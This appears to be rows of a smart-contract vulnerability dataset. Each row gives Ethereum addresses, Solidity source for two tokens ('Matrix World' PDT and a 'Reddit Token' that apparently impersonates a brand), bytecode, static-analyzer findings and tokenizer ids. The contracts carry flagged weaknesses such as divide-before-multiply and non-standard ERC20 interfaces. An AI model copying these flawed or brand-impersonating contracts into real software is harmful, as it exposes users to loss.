473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461274390919063ffffffff16565b9250612575600260006005848154811061250057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361274390919063ffffffff16565b9150808060010191505061233e565b506125a2678ac7230489e8000060065461189390919063ffffffff16565b8210156125c057600654678ac7230489e800009350935050506125c9565b81819350935050505b9091565b60008083118290612679576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561263e578082015181840152602081019050612623565b50505050905090810190601f16801561266b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161268557fe5b049050809150509392505050565b60008060006126bf60026126b160648761189390919063ffffffff16565b61284f90919063ffffffff16565b905060006126d6828661274390919063ffffffff16565b90508082935093505050915091565b6000806000806126fe858861284f90919063ffffffff16565b90506000612715868861284f90919063ffffffff16565b9050600061272c828461274390919063ffffffff16565b905082818395509550955050505093509350939050565b600061278583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a8565b905092915050565b60008082840190508381101561280b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b61282a8260065461274390919063ffffffff16565b6006819055506128458160075461278d90919063ffffffff16565b6007819055505050565b60008083141561286257600090506128cf565b600082840290508284828161287357fe5b04146128ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061296d6021913960400191505060405180910390fd5b809150505b9291505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122040680f362b29b9e1221b45f528fbf8ffa8f593c9a906b2463af5a0ad031278d464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 22610, 2629, 7875, 19961, 2850, 16068, 2620, 2497, 2581, 2575, 2683, 2509, 2497, 21084, 2683, 19481, 28154, 24096, 2692, 2575, 3540, 2581, 4783, 2546, 8889, 2581, 1013, 1013, 2686, 4783, 28370, 1012, 4012, 12106, 2538, 1012, 5718, 1012, 25682, 999, 1013, 1013, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 2686, 4783, 28370, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,753
0x974826b32512d892199c321e98d08f16b84084c3
pragma solidity ^0.4.16; /** * Math operations with safety checks */ contract BaseSafeMath { /* standard uint256 functions */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } /* uint128 functions */ function madd(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; assert(c >= a); return c; } function msub(uint128 a, uint128 b) internal pure returns (uint128) { assert(b <= a); return a - b; } function mmul(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a * b; assert(a == 0 || c / a == b); return c; } function mdiv(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a / b; return c; } function mmin(uint128 x, uint128 y) internal pure returns (uint128 z) { return x <= y ? x : y; } function mmax(uint128 x, uint128 y) internal pure returns (uint128 z) { return x >= y ? x : y; } /* uint64 functions */ function miadd(uint64 a, uint64 b) internal pure returns (uint64) { uint64 c = a + b; assert(c >= a); return c; } function misub(uint64 a, uint64 b) internal pure returns (uint64) { assert(b <= a); return a - b; } function mimul(uint64 a, uint64 b) internal pure returns (uint64) { uint64 c = a * b; assert(a == 0 || c / a == b); return c; } function midiv(uint64 a, uint64 b) internal pure returns (uint64) { uint64 c = a / b; return c; } function mimin(uint64 x, uint64 y) internal pure returns (uint64 z) { return x <= y ? x : y; } function mimax(uint64 x, uint64 y) internal pure returns (uint64 z) { return x >= y ? x : y; } } // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 contract BaseERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal; /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public; /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success); /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ interface tokenRecipient {function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;} contract LockUtils { // Advance mining address advance_mining = 0x5EDBe36c4c4a816f150959B445d5Ae1F33054a82; // community address community = 0xacF2e917E296547C0C476fDACf957111ca0307ce; // foundation_investment address foundation_investment = 0x9746079BEbcFfFf177818e23AedeC834ad0fb5f9; // mining address mining = 0xBB7d6f428E77f98069AE1E01964A9Ed6db3c5Fe5; // adviser address adviser = 0x0aE269Ae5F511786Fce5938c141DbF42e8A71E12; // unlock start time 2018-09-10 uint256 unlock_time_0910 = 1536508800; // unlock start time 2018-10-10 uint256 unlock_time_1010 = 1539100800; // unlock start time 2018-11-10 uint256 unlock_time_1110 = 1541779200; // unlock start time 2018-12-10 uint256 unlock_time_1210 = 1544371200; // unlock start time 2019-01-10 uint256 unlock_time_0110 = 1547049600; // unlock start time 2019-02-10 uint256 unlock_time_0210 = 1549728000; // unlock start time 2019-03-10 uint256 unlock_time_0310 = 1552147200; // unlock start time 2019-04-10 uint256 unlock_time_0410 = 1554825600; // unlock start time 2019-05-10 uint256 unlock_time_0510 = 1557417600; // unlock start time 2019-06-10 uint256 unlock_time_0610 = 1560096000; // unlock start time 2019-07-10 uint256 unlock_time_0710 = 1562688000; // unlock start time 2019-08-10 uint256 unlock_time_0810 = 1565366400; // unlock start time 2019-09-10 uint256 unlock_time_end = 1568044800; // 1 monthss uint256 time_months = 2678400; // xxx function getLockBalance(address account, uint8 decimals) internal view returns (uint256) { uint256 tempLock = 0; if (account == advance_mining) { if (now < unlock_time_0910) { tempLock = 735000000 * 10 ** uint256(decimals); } else if (now >= unlock_time_0910 && now < unlock_time_1210) { tempLock = 367500000 * 10 ** uint256(decimals); } else if (now >= unlock_time_1210 && now < unlock_time_0310) { tempLock = 183750000 * 10 ** uint256(decimals); } } else if (account == community) { if (now < unlock_time_0910) { tempLock = 18375000 * 6 * 10 ** uint256(decimals); } else if (now >= unlock_time_0910 && now < unlock_time_1010) { tempLock = 18375000 * 5 * 10 ** uint256(decimals); } else if (now >= unlock_time_1010 && now < unlock_time_1110) { tempLock = 18375000 * 4 * 10 ** uint256(decimals); } else if (now >= unlock_time_1110 && now < unlock_time_1210) { tempLock = 18375000 * 3 * 10 ** uint256(decimals); } else if (now >= unlock_time_1210 && now < unlock_time_0110) { tempLock = 18375000 * 2 * 10 ** uint256(decimals); } else if (now >= unlock_time_0110 && now < unlock_time_0210) { tempLock = 18375000 * 1 * 10 ** uint256(decimals); } } else if (account == foundation_investment) { if (now < unlock_time_0910) { tempLock = 18812500 * 12 * 10 ** uint256(decimals); } else if (now >= unlock_time_0910 && now < unlock_time_1010) { tempLock = 18812500 * 11 * 10 ** uint256(decimals); } else if (now >= unlock_time_1010 && now < unlock_time_1110) { tempLock = 18812500 * 10 * 10 ** uint256(decimals); } else if (now >= unlock_time_1110 && now < unlock_time_1210) { tempLock = 18812500 * 9 * 10 ** uint256(decimals); } else if (now >= unlock_time_1210 && now < unlock_time_0110) { tempLock = 18812500 * 8 * 10 ** uint256(decimals); } else if (now >= unlock_time_0110 && now < unlock_time_0210) { tempLock = 18812500 * 7 * 10 ** uint256(decimals); } else if (now >= unlock_time_0210 && now < unlock_time_0310) { tempLock = 18812500 * 6 * 10 ** uint256(decimals); } else if (now >= unlock_time_0310 && now < unlock_time_0410) { tempLock = 18812500 * 5 * 10 ** uint256(decimals); } else if (now >= unlock_time_0410 && now < unlock_time_0510) { tempLock = 18812500 * 4 * 10 ** uint256(decimals); } else if (now >= unlock_time_0510 && now < unlock_time_0610) { tempLock = 18812500 * 3 * 10 ** uint256(decimals); } else if (now >= unlock_time_0610 && now < unlock_time_0710) { tempLock = 18812500 * 2 * 10 ** uint256(decimals); } else if (now >= unlock_time_0710 && now < unlock_time_0810) { tempLock = 18812500 * 1 * 10 ** uint256(decimals); } } else if (account == mining) { if (now < unlock_time_0910) { tempLock = 840000000 * 10 ** uint256(decimals); } } else if (account == adviser) { if (now < unlock_time_0910) { tempLock = 15750000 * 12 * 10 ** uint256(decimals); } else if (now >= unlock_time_0910 && now < unlock_time_1010) { tempLock = 15750000 * 11 * 10 ** uint256(decimals); } else if (now >= unlock_time_1010 && now < unlock_time_1110) { tempLock = 15750000 * 10 * 10 ** uint256(decimals); } else if (now >= unlock_time_1110 && now < unlock_time_1210) { tempLock = 15750000 * 9 * 10 ** uint256(decimals); } else if (now >= unlock_time_1210 && now < unlock_time_0110) { tempLock = 15750000 * 8 * 10 ** uint256(decimals); } else if (now >= unlock_time_0110 && now < unlock_time_0210) { tempLock = 15750000 * 7 * 10 ** uint256(decimals); } else if (now >= unlock_time_0210 && now < unlock_time_0310) { tempLock = 15750000 * 6 * 10 ** uint256(decimals); } else if (now >= unlock_time_0310 && now < unlock_time_0410) { tempLock = 15750000 * 5 * 10 ** uint256(decimals); } else if (now >= unlock_time_0410 && now < unlock_time_0510) { tempLock = 15750000 * 4 * 10 ** uint256(decimals); } else if (now >= unlock_time_0510 && now < unlock_time_0610) { tempLock = 15750000 * 3 * 10 ** uint256(decimals); } else if (now >= unlock_time_0610 && now < unlock_time_0710) { tempLock = 15750000 * 2 * 10 ** uint256(decimals); } else if (now >= unlock_time_0710 && now < unlock_time_0810) { tempLock = 15750000 * 1 * 10 ** uint256(decimals); } } return tempLock; } } contract PDTToken is BaseERC20, BaseSafeMath, LockUtils { //The solidity created time function PDTToken() public { name = "Matrix World"; symbol = "PDT"; decimals = 18; totalSupply = 2100000000 * 10 ** uint256(decimals); // balanceOf[msg.sender] = totalSupply; balanceOf[0x5EDBe36c4c4a816f150959B445d5Ae1F33054a82] = 735000000 * 10 ** uint256(decimals); balanceOf[0xacF2e917E296547C0C476fDACf957111ca0307ce] = 110250000 * 10 ** uint256(decimals); balanceOf[0x9746079BEbcFfFf177818e23AedeC834ad0fb5f9] = 225750000 * 10 ** uint256(decimals); balanceOf[0xBB7d6f428E77f98069AE1E01964A9Ed6db3c5Fe5] = 840000000 * 10 ** uint256(decimals); balanceOf[0x0aE269Ae5F511786Fce5938c141DbF42e8A71E12] = 189000000 * 10 ** uint256(decimals); } function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough // All transfer will check the available unlocked balance require((balanceOf[_from] - getLockBalance(_from, decimals)) >= _value); // Check balance require(balanceOf[_from] >= _value); // Check for overflows require((balanceOf[_to] + _value) > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function lockBalanceOf(address _owner) public returns (uint256) { return getLockBalance(_owner, decimals); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } }
0x6080604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806310e776ed1461017557806318160ddd146101a857806323b872dd146101bd578063313ce567146101e757806370a082311461021257806395d89b4114610233578063a9059cbb14610248578063cae9ca511461026e578063dd62ed3e146102d7575b600080fd5b3480156100bf57600080fd5b506100c86102fe565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101025781810151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014957600080fd5b50610161600160a060020a036004351660243561038c565b604080519115158252519081900360200190f35b34801561018157600080fd5b50610196600160a060020a03600435166103b9565b60408051918252519081900360200190f35b3480156101b457600080fd5b506101966103d3565b3480156101c957600080fd5b50610161600160a060020a03600435811690602435166044356103d9565b3480156101f357600080fd5b506101fc610448565b6040805160ff9092168252519081900360200190f35b34801561021e57600080fd5b50610196600160a060020a0360043516610451565b34801561023f57600080fd5b506100c8610463565b34801561025457600080fd5b5061026c600160a060020a03600435166024356104bd565b005b34801561027a57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610161948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506104cc9650505050505050565b3480156102e357600080fd5b50610196600160a060020a03600435811690602435166105e5565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b505050505081565b336000908152600560209081526040808320600160a060020a039590951683529390529190912055600190565b6002546000906103cd90839060ff16610602565b92915050565b60035481565b600160a060020a038316600090815260056020908152604080832033845290915281205482111561040957600080fd5b600160a060020a038416600090815260056020908152604080832033845290915290208054839003905561043e848484610be8565b5060019392505050565b60025460ff1681565b60046020526000908152604090205481565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103845780601f1061035957610100808354040283529160200191610384565b6104c8338383610be8565b5050565b6000836104d9818561038c565b156105dd576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b83811015610571578181015183820152602001610559565b50505050905090810190601f16801561059e5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156105c057600080fd5b505af11580156105d4573d6000803e3d6000fd5b50505050600191505b509392505050565b600560209081526000928352604080842090915290825290205481565b6006546000908190600160a060020a038581169116141561069157600b5442101561063a5750632bcf35c060ff8316600a0a0261068c565b600b54421015801561064d5750600e5442105b1561066557506315e79ae060ff8316600a0a0261068c565b600e544210158015610678575060115442105b1561068c5750630af3cd7060ff8316600a0a025b610be1565b600754600160a060020a038581169116141561079b57600b544210156106c45750630692481060ff8316600a0a0261068c565b600b5442101580156106d75750600c5442105b156106ef5750630579e6b860ff8316600a0a0261068c565b600c5442101580156107025750600d5442105b1561071a5750630461856060ff8316600a0a0261068c565b600d54421015801561072d5750600e5442105b156107455750630349240860ff8316600a0a0261068c565b600e5442101580156107585750600f5442105b156107705750630230c2b060ff8316600a0a0261068c565b600f544210158015610783575060105442105b1561068c5750630118615860ff8316600a0a02610be1565b600854600160a060020a03858116911614156109a757600b544210156107ce5750630d74abf060ff8316600a0a0261068c565b600b5442101580156107e15750600c5442105b156107f95750630c559d9c60ff8316600a0a0261068c565b600c54421015801561080c5750600d5442105b156108245750630b368f4860ff8316600a0a0261068c565b600d5442101580156108375750600e5442105b1561084f5750630a1780f460ff8316600a0a0261068c565b600e5442101580156108625750600f5442105b1561087a57506308f872a060ff8316600a0a0261068c565b600f54421015801561088d575060105442105b156108a557506307d9644c60ff8316600a0a0261068c565b60105442101580156108b8575060115442105b156108d057506306ba55f860ff8316600a0a0261068c565b60115442101580156108e3575060125442105b156108fb575063059b47a460ff8316600a0a0261068c565b601254421015801561090e575060135442105b15610926575063047c395060ff8316600a0a0261068c565b6013544210158015610939575060145442105b15610951575063035d2afc60ff8316600a0a0261068c565b6014544210158015610964575060155442105b1561097c575063023e1ca860ff8316600a0a0261068c565b601554421015801561098f575060165442105b1561068c575063011f0e5460ff8316600a0a02610be1565b600954600160a060020a03858116911614156109da57600b5442101561068c5750633211620060ff8316600a0a02610be1565b600a54600160a060020a0385811691161415610be157600b54421015610a0d5750630b43e94060ff8316600a0a02610be1565b600b544210158015610a205750600c5442105b15610a385750630a5395d060ff8316600a0a02610be1565b600c544210158015610a4b5750600d5442105b15610a635750630963426060ff8316600a0a02610be1565b600d544210158015610a765750600e5442105b15610a8e5750630872eef060ff8316600a0a02610be1565b600e544210158015610aa15750600f5442105b15610ab957506307829b8060ff8316600a0a02610be1565b600f544210158015610acc575060105442105b15610ae45750630692481060ff8316600a0a02610be1565b6010544210158015610af7575060115442105b15610b0f57506305a1f4a060ff8316600a0a02610be1565b6011544210158015610b22575060125442105b15610b3a57506304b1a13060ff8316600a0a02610be1565b6012544210158015610b4d575060135442105b15610b6557506303c14dc060ff8316600a0a02610be1565b6013544210158015610b78575060145442105b15610b9057506302d0fa5060ff8316600a0a02610be1565b6014544210158015610ba3575060155442105b15610bbb57506301e0a6e060ff8316600a0a02610be1565b6015544210158015610bce575060165442105b15610be1575062f0537060ff8316600a0a025b9392505050565b6000600160a060020a0383161515610bff57600080fd5b6002548290610c1290869060ff16610602565b600160a060020a038616600090815260046020526040902054031015610c3757600080fd5b600160a060020a038416600090815260046020526040902054821115610c5c57600080fd5b600160a060020a03831660009081526004602052604090205482810111610c8257600080fd5b50600160a060020a038083166000818152600460209081526040808320805495891680855282852080548981039091559486905281548801909155815187815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a03808416600090815260046020526040808220549287168252902054018114610d2157fe5b505050505600a165627a7a723058203027ab2a72f7869b5e1d162f7941754a5aeb3a175167517a6ab834171f5245fb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 18139, 23833, 2497, 16703, 22203, 2475, 2094, 2620, 2683, 17465, 2683, 2683, 2278, 16703, 2487, 2063, 2683, 2620, 2094, 2692, 2620, 2546, 16048, 2497, 2620, 12740, 2620, 2549, 2278, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 1013, 1008, 1008, 1008, 8785, 3136, 2007, 3808, 14148, 1008, 1013, 3206, 7888, 10354, 14545, 2705, 1063, 1013, 1008, 3115, 21318, 3372, 17788, 2575, 4972, 1008, 1013, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 20865, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,754
0x97483d06ef152c9f4ae5a496466f86a481bb9de1
pragma solidity >=0.4.22 <0.6.0; contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address who) public view returns (uint value); function allowance(address owner, address spender) public view returns (uint remaining); function transferFrom(address from, address to, uint value) public returns (bool ok); function approve(address spender, uint value) public returns (bool ok); function transfer(address to, uint value) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Reddit_Official is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 1000000000000000*10**uint256(decimals); string public constant name = "Reddit Token"; string public constant symbol = "REDDIT"; address payable teamAddress; function totalSupply() public view returns (uint256) { return initialSupply; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } function transferFrom(address from, address to, uint256 value) public returns (bool success) { if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; } } function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function () external payable { teamAddress.transfer(msg.value); } constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } }
0x6080604052600436106100865760003560e01c8063313ce56711610059578063313ce5671461020357806370a082311461022e57806395d89b4114610261578063a9059cbb14610276578063dd62ed3e146102af57610086565b806306fdde03146100c2578063095ea7b31461014c57806318160ddd1461019957806323b872dd146101c0575b6001546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156100bf573d6000803e3d6000fd5b50005b3480156100ce57600080fd5b506100d76102ea565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101115781810151838201526020016100f9565b50505050905090810190601f16801561013e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015857600080fd5b506101856004803603604081101561016f57600080fd5b506001600160a01b038135169060200135610312565b604080519115158252519081900360200190f35b3480156101a557600080fd5b506101ae610379565b60408051918252519081900360200190f35b3480156101cc57600080fd5b50610185600480360360608110156101e357600080fd5b506001600160a01b0381358116916020810135909116906040013561037f565b34801561020f57600080fd5b5061021861046c565b6040805160ff9092168252519081900360200190f35b34801561023a57600080fd5b506101ae6004803603602081101561025157600080fd5b50356001600160a01b0316610471565b34801561026d57600080fd5b506100d761048c565b34801561028257600080fd5b506101856004803603604081101561029957600080fd5b506001600160a01b0381351690602001356104ae565b3480156102bb57600080fd5b506101ae600480360360408110156102d257600080fd5b506001600160a01b0381358116916020013516610547565b6040518060400160405280600c81526020016b2932b23234ba102a37b5b2b760a11b81525081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60005490565b6001600160a01b03831660009081526002602052604081205482118015906103ca57506001600160a01b03841660009081526003602090815260408083203384529091529020548211155b80156103d65750600082115b15610461576001600160a01b03808416600081815260026020908152604080832080548801905593881680835284832080548890039055600382528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001610465565b5060005b9392505050565b601281565b6001600160a01b031660009081526002602052604090205490565b6040518060400160405280600681526020016514915111125560d21b81525081565b3360009081526002602052604081205482118015906104cd5750600082115b1561053f57336000818152600260209081526040808320805487900390556001600160a01b03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001610373565b506000610373565b6001600160a01b0391821660009081526003602090815260408083209390941682529190915220549056fea265627a7a72315820911f84b4c58a7919e6f76ee2970ccdd74c1bee2057e4c25f8fe7df6132218ac464736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 18139, 29097, 2692, 2575, 12879, 16068, 2475, 2278, 2683, 2546, 2549, 6679, 2629, 2050, 26224, 21084, 28756, 2546, 20842, 2050, 18139, 2487, 10322, 2683, 3207, 2487, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1020, 1012, 1014, 1025, 3206, 9413, 2278, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 4425, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 3643, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 3588, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 7929, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,755
0x974872edc6e82f6a5744deebd1519c7ac209b91c
